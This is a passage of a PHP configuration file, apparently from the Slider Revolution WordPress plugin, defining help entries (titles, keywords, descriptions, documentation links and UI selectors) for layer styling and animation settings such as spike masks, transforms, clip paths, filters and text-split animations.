'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks') ), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_spiketyle', $f => "#layer_leftspiketype" ) ), 'left_spike_width' => array( $t => __("Left Spike Width", 'revsliderhelp'), $h => "idle.spikeLeftWidth", $k => array("advanced style", "spikes", "corner", "spike", "corners"), $d => __("The percentage of your content's width to use when the spike(s) are drawn on the left side", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks') ), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_spiketyle', $f => "*[data-r='idle.spikeLeftWidth']" ) ), 'right_spike' => array( $t => __("Enable Spike Masks", 'revsliderhelp'), $h => "idle.spikeRight", $k => array("advanced style", "spikes", "corner", "spike", "corners"), $d => __("Add creative edges and corners to the right side of your content", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks') ), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_spiketyle', $f => "#layer_rightspiketype" ) ), 'right_spike_width' => array( $t => __("Right Spike Width", 'revsliderhelp'), $h => "idle.spikeRightWidth", $k => array("advanced style", "spikes", "corner", "spike", "corners"), $d => __("The percentage of your content's width to use when the spike(s) are drawn on the right side", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks') ), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_spiketyle', $f => "*[data-r='idle.spikeRightWidth']" ) ) ), 'sharp_corners' => array( 'left_corner' => array( $t => __("Left Corner", 'revsliderhelp'), $h => "idle.cornerLeft", $k => array("advanced style", "corner", "sharp", "sharp corners", "corners"), $d => __("Mask your content with diagonal slice from the left side", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_cornertyle', $f => "#layer_leftcornertype" ) ), 'right_corner' => array( $t => __("Right Corner", 'revsliderhelp'), $h => "idle.cornerRight", $k => array("advanced style", "corner", "sharp", "sharp corners", "corners"), $d => __("Mask your content with diagonal slice from the right side", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_cornertyle', $f => "#layer_rightcornertype" ) ) ) ), 'gst_layer_4' => array( 'start_animation_from' => array( $t => __("Start/In Animation: From", 'revsliderhelp'), $h => "animation.in.from", $k => array("animation in", "animation from", "layer animation", "layers animation", "animation"), $d => __("The Layer animation's starting point values before it first animates into view", 'revsliderhelp'), $a => $u . "layer-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes', $f => "#keyframe_list_el_frame_0 .frame_list_title{frame}" ) ), 'start_animation_to' => array( $t => __("Start/In Animation: To", 'revsliderhelp'), $h => "animation.in.to", $k => array("animation in", "animation to", "layer animation", "layers animation", "animation"), $d => __("The ending values for the Layer's very first animation", 'revsliderhelp'), $a => $u . "layer-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes', $f => "#keyframe_list_el_frame_1 .frame_list_title{frame}" ) ), 'animation_to' => array( $t => __("Animate Again To...", 'revsliderhelp'), $h => "animation.keyframe.to", $k => array("animation keyframe", "animation to", "layer animation", "layers animation", "animation", "keyframe"), $d => __("An additional animation to add to the Layer after its already animated into view", 'revsliderhelp'), $a => $u . "layer-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes', $f => "#keyframe_list_el_frame_2 .frame_list_titlekey{frame}" ) ), 'end_animation_out' => array( $t => __("End/Out Animation: To", 'revsliderhelp'), $h => "animation.out.to", $k => array("animation out", "animation to", "layer animation", "layers animation", "animation"), $d => __("The Layer's final animation when it's meant to be hidden or when the Slide changes", 'revsliderhelp'), $a => $u . "layer-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes', $f => "#keyframe_list_el_frame_999 .frame_list_title{frame}" ) ), 'editor_view' => array( $t => __("Set as Editor View", 'revsliderhelp'), $h => "editorview", $k => array("animation out", "animation to", "layer animation", "layers animation", "animation", "editor view", "set as editor view"), $d => __("Set the selected animation point as the default view when editing your content", 'revsliderhelp'), $a => $u . "layer-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes', $f => "#set_editor_view" ) ), 'basics' => array( 'alias' => array( $t => __("Animation Name", 'revsliderhelp'), $h => "#frame#.alias", $k => array("animation alias", "animation name"), $d => __("Give the animation a name for editing purposes", 'revsliderhelp'), $a => $u . "layer-animations/#duration-easing", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(2)', $f => "#layerframename" ) ), 'speed' => array( $t => __("Animation Speed", 'revsliderhelp'), $h => "#frame#.timeline.speed", $k => array("animation speed", "animation duration", "animation time"), $d => __("The total duration for the selected animation", 'revsliderhelp'), $a => $u . "layer-animations/#duration-easing", $hl => array( $dp => array('layerselected', '#keyframe_list_el_frame_1'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(2)', $f => "#layerframespeed" ) ), 'easing' => array( $t => __("Animation Easing", 'revsliderhelp'), $h => "#frame#.timeline.ease", $k => array("animation easing", "easing"), $d => __("The easing equation to use for the selected animation", 'revsliderhelp'), $a => $u . "layer-animations/#duration-easing", $hl => array( $dp => array('layerselected', '#keyframe_list_el_frame_1'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(2)', $f => "*[data-r='#frame#.timeline.ease']" ) ), 'wait_for_action' => array( $t => __("Wait for Action", 'revsliderhelp'), $h => "#frame#.timeline.actionTriggered", $k => array("animation", "action", "actions", "animations", "keyframe", "keyframes"), $d => __("The selected animation will only start when it's called from a Layer Action", 'revsliderhelp'), $a => $u . "layer-animations/#duration-easing", $hl => array( $dp => array('layerselected', '#keyframe_list_el_frame_1'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(2)', $f => "*[data-r='#frame#.timeline.actionTriggered']" ) ) ), 'advanced' => array( 'layer' => array( 'opacity' => array( $t => __("Opacity", 'revsliderhelp'), $h => "#frame#.transform.opacity", $k => array("opacity", "animation opacity", "transparency", "show layer", "hide layer", "animate opacity"), $d => __("The Layer's opacity to apply to the currently selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_opacity" ) ), 'translate' => array( 'translate_x' => array( $t => __("TranslateX", 'revsliderhelp'), $h => "#frame#.transform.x.#size#.v", $k => array("animation position", "layer animation position", "animate left", "animate right", "translatex"), $d => __("The 'x' (left) position to apply to the currently selected animation frame. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_x" ) ), 'translate_y' => array( $t => __("TranslateY", 'revsliderhelp'), $h => "#frame#.transform.y.#size#.v", $k => array("animation position", "layer animation position", "animate top", "animate bottom", "translatey"), $d => __("The 'y' (top) position to apply to the currently selected animation frame. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_y" ) ), 'translate_z' => array( $t => __("TranslateZ", 'revsliderhelp'), $h => "#frame#.transform.z", $k => array("animation depth", "animation z", "translatez", "3d"), $d => __("The CSS translateZ to apply to the selected animation frame. This adds/removes 3D depth to the Layer", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_z" ) ), 'perspective' => array( $t => __("Transform Perspective", 'revsliderhelp'), $h => "#frame#.transform.transformPerspective", $k => array("animation perspective", "perspective", "transform perspective", "transform-perspective", "3d"), $d => __("The CSS perspective to apply to the selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_perspective" ) ) ), 'scale_skew_rotate' => array( 'scalex' => array( $t => __("scaleX", 'revsliderhelp'), $h => "#frame#.transform.scaleX", $k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"), $d => __("Scale the Layer's width by this amount for the selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_scale_x" ) ), 'scaley' => array( $t => __("scaleY", 'revsliderhelp'), $h => "#frame#.transform.scaleY", $k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"), $d => __("Scale the Layer's height by this amount for the selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_scale_y" ) ), 'skewx' => array( $t => __("skewX", 'revsliderhelp'), $h => "#frame#.transform.skewX", $k => array("animation skew", "animation skewx", "skew x", "skewx", "skew"), $d => __("Skew/distort the Layer horizontally by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_skew_x" ) ), 'skewy' => array( $t => __("skewY", 'revsliderhelp'), $h => "#frame#.transform.skewY", $k => array("animation skew", "animation skewy", "skew y", "skewy", "skew"), $d => __("Skew/distort the Layer vertically by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_skew_y" ) ), 'rotationx' => array( $t => __("rotateX", 'revsliderhelp'), $h => "#frame#.transform.rotationX", $k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"), $d => __("Rotate the Layer on its 'x' axis by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_rotate_x" ) ), 'rotationy' => array( $t => __("rotateY", 'revsliderhelp'), $h => "#frame#.transform.rotationY", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"), $d => __("Rotate the Layer on its 'y' axis by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_rotate_y" ) ), 'rotation' => array( $t => __("2D Rotation", 'revsliderhelp'), $h => "#frame#.transform.rotationZ", $k => array("animation rotation", "animation rotate", "rotate", "rotation", "2d", "2d rotation"), $d => __("The Layer's 2D Rotation for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_rotate_z" ) ) ), 'transform_origin' => array( 'originx' => array( $t => __("Transform Origin X", 'revsliderhelp'), $h => "#frame#.transform.originX", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'x' axis for the Layer's transform-origin applied to the selected animation frame.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.transform.originX']" ) ), 'originy' => array( $t => __("Transform Origin Y", 'revsliderhelp'), $h => "#frame#.transform.originY", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'y' axis for the Layer's transform-origin applied to the selected animation frame.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.transform.originY']" ) ), 'originz' => array( $t => __("Transform Origin Z", 'revsliderhelp'), $h => "#frame#.transform.originZ", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'z' axis for the Layer's transform-origin applied to the selected animation frame.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.transform.originZ']" ) ) ) ), 'mask' => array( 'enable' => array( $di => "layer_frame_mask", $t => __("Enable Layer Mask", 'revsliderhelp'), $h => "#frame#.mask.use", $k => array("animation mask", "animation masking", "layer mask", "layer masking", "mask", "masking"), $d => __("Add a mask to the Layer which is useful for wipe/reveal type animations", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#mask_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.mask.use']" ) ), 'maskx' => array( $t => __("Mask X Position", 'revsliderhelp'), $h => "#frame#.mask.x.#size#.v", $k => array("animation mask", "animation masking", "layer mask", "layer masking", "mask", "masking"), $d => __("Position the mask horizontally. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#mask_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.mask.use', $v => true, $o => 'layer_frame_mask') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_mask_x" ) ), 'masky' => array( $t => __("Mask Y Position", 'revsliderhelp'), $h => "#frame#.mask.y.#size#.v", $k => array("animation mask", "animation masking", "layer mask", "layer masking", "mask", "masking"), $d => __("Position the mask vertically. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#mask_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.mask.use', $v => true, $o => 'layer_frame_mask') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_mask_y" ) ), 'clippath_enable' => array( $di => "clippath_enable", $t => __("Enable Clip Path", 'revsliderhelp'), $h => "timeline.clipPath.use", $k => array("clip path", "clippath", "mask", "masking"), $d => __("Apply and animate a CSS clip-path to the Layer. Useful for creating 'wipe' animations", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#mask_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='timeline.clipPath.use']" ) ), 'clippath_type' => array( $t => __("Clip Path Type", 'revsliderhelp'), $h => "timeline.clipPath.type", $k => array("clip path", "clippath", "mask", "masking", "clip path type"), $d => __("Choose 'Rectangle' or 'Circle' for traditional wipes from the sides, center or corners, and 'Custom Mask' for curtain-type reveals", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#mask_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.clipPath.use', $v => true, $o => 'clippath_enable') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='timeline.clipPath.type']" ) ), 'clippath_origin' => array( $t => __("Clip Path Origin", 'revsliderhelp'), $h => "timeline.clipPath.origin", $k => array("clip path", "clippath", "mask", "masking", "clip path origin", "origin"), $d => __("Choose which direction the Clip Path should move to", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#mask_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.clipPath.use', $v => true, $o => 'clippath_enable') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='timeline.clipPath.origin']" ) ), 'clip_percentage' => array( $t => __("Clip Percentage", 'revsliderhelp'), $h => "#frame#.transform.clip, #frame#.transform.clipB", $k => array("clip path", "clippath", "mask", "masking", "clip path percentage"), $d => __("The percentage of the Layer to apply the clip-path mask to. The number '0' would represent completely hidden and '100' represent completely visible.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#mask_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.clipPath.use', $v => true, $o => 'clippath_enable') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.transform.clip']" ) ) ), 'filter' => array( 'enable' => array( $di => "layer_frame_filter", $t => __("Enable Filter Animation", 'revsliderhelp'), $h => "#frame#.filter.use", $k => array("animate filter", "filter animation", "filter", "filters"), $d => __("Animate the Layer's blur, grayscale or brightness filter", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#filter_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.filter.use']" ) ), 'blur' => array( $t => __("Blur Filter", 'revsliderhelp'), $h => "#frame#.filter.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The blur filter value for the selected Animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.filter.blur']" ) ), 'grayscale' => array( $t => __("Grayscale", 'revsliderhelp'), $h => "#frame#.filter.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The grayscale filter value for the selected Animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.filter.grayscale']" ) ), 'brightness' => array( $t => __("Brightness", 'revsliderhelp'), $h => "#frame#.filter.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The brightness filter value for the selected Animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.filter.brightness']" ) ) ), 'color' => array( 'enable_text_color' => array( $di => "layer_frame_color_text", $t => __("Animate Text Color", 'revsliderhelp'), $h => "#frame#.color.use", $k => array("animate color", "animate text color", "animate text-color", "color animation", "text color animation"), $d => __("Animate the Layer's text color", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#color_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.color.use']" ) ), 'text_color' => array( $t => __("Text Color Value", 'revsliderhelp'), $h => "#frame#.color.color", $k => array("animate color", "animate text color", "animate text-color", "color animation", "text color animation"), $d => __("The Layer's text color for the selected Animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#color_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.color.use', $v => true, $o => 'layer_frame_color_text') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#frameColorAnimation" ) ), 'enable_background_color' => array( $di => "layer_frame_color_background", $t => __("Animate Background Color", 'revsliderhelp'), $h => "#frame#.bgcolor.use", $k => array("animate color", "animate background color", "animate background-color", "color animation", "background color animation"), $d => __("Animate the Layer's background color", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#color_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.bgcolor.use']" ) ), 'background_color' => array( $t => __("Background Color Value", 'revsliderhelp'), $h => "#frame#.bgcolor.backgroundColor", $k => array("animate color", "animate background color", "animate background-color", "background color animation", "background-color animation"), $d => __("The Layer's background color for the selected Animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#color_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.bgcolor.use', $v => true, $o => 'layer_frame_color_background') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#frameBGColorAnimation" ) ) ), 'char_word_line' => array( 'enable' => array( $di => "layer_frame_char", $t => __("Enable Text-Split Animations", 'revsliderhelp'), $h => "#frame#.chars.use, #frame#.words.use, #frame#.lines.use", $k => array("text-split", "split", "text-split animation", "split animation", "char animation", "word animation", "line animation", "character animation"), $d => __("Animate characters, words or lines of text", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#chars_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.use']" ) ), 'direction' => array( $t => __("Split Direction", 'revsliderhelp'), $h => "#frame#.chars.direction, #frame#.words.direction, #frame#.lines.direction", $k => array("split direction", "split animation direction", "text-split direction", "text animation direction"), $d => __("Choose which direction the chars/words/lines should be animated in", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_txtsplitdirection" ) ), 'delay' => array( $t => __("Split Delay", 'revsliderhelp'), $h => "#frame#.lines.delay, #frame#.chars.delay, #frame#.words.delay", $k => array("split delay", "split animation delay", "text-split delay", "text animation delay"), $d => __("The delay time between each animation for the individual characters/words/lines", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_splitdelay" ) ), 'easing' => array( $t => __("Animation Easing", 'revsliderhelp'), $h => "#frame#.words.ease, #frame#.chars.ease, #frame#.lines.ease", $k => array("split easing", "split animation easing", "text-split easing", "text animation easing"), $d => __("The easing equation to be applied for each animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#chars_appear_ease" ) ), 'opacity' => array( $t => __("Opacity", 'revsliderhelp'), $h => "#frame#.chars.opacity, #frame#.words.opacity, #frame#.lines.opacity", $k => array("opacity", "animation opacity", "transparency", "animate opacity"), $d => __("The char/word/line opacity to apply to the currently selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_opacity" ) ), 'translate' => array( 'translate_x' => array( $t => __("TranslateX", 'revsliderhelp'), $h => "#frame#.chars.x.#size#.v, #frame#.words.x.#size#.v, #frame#.lines.x.#size#.v", $k => array("animation position", "animate left", "animate right", "translatex"), $d => __("The 'x' (left) position to apply to the currently selected animation frame. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_x" ) ), 'translate_y' => array( $t => __("TranslateY", 'revsliderhelp'), $h => "#frame#.chars.y.#size#.v, #frame#.words.y.#size#.v, #frame#.lines.y.#size#.v", $k => array("animation position", "animate top", "animate bottom", "translatey"), $d => __("The 'y' (top) position to apply to the currently selected animation frame. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_y" ) ), 'translate_z' => array( $t => __("TranslateZ", 'revsliderhelp'), $h => "#frame#.lines.z, #frame#.words.z, #frame#.chars.z", $k => array("animation depth", "animation z", "translatez", "3d"), $d => __("The CSS translateZ to apply to the selected animation frame. This adds/removes 3D depth to the Layer", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_z" ) ) ), 'scale_skew' => array( 'scalex' => array( $t => __("scaleX", 'revsliderhelp'), $h => "#frame#.chars.scaleX, #frame#.words.scaleX, #frame#.lines.scaleX", $k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"), $d => __("Scale the char/word/line width by this amount for the selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_scale_x" ) ), 'scaley' => array( $t => __("scaleY", 'revsliderhelp'), $h => "#frame#.chars.scaleY, #frame#.words.scaleY, #frame#.lines.scaleY", $k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"), $d => __("Scale the char/word/line height by this amount for the selected animation frame", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => 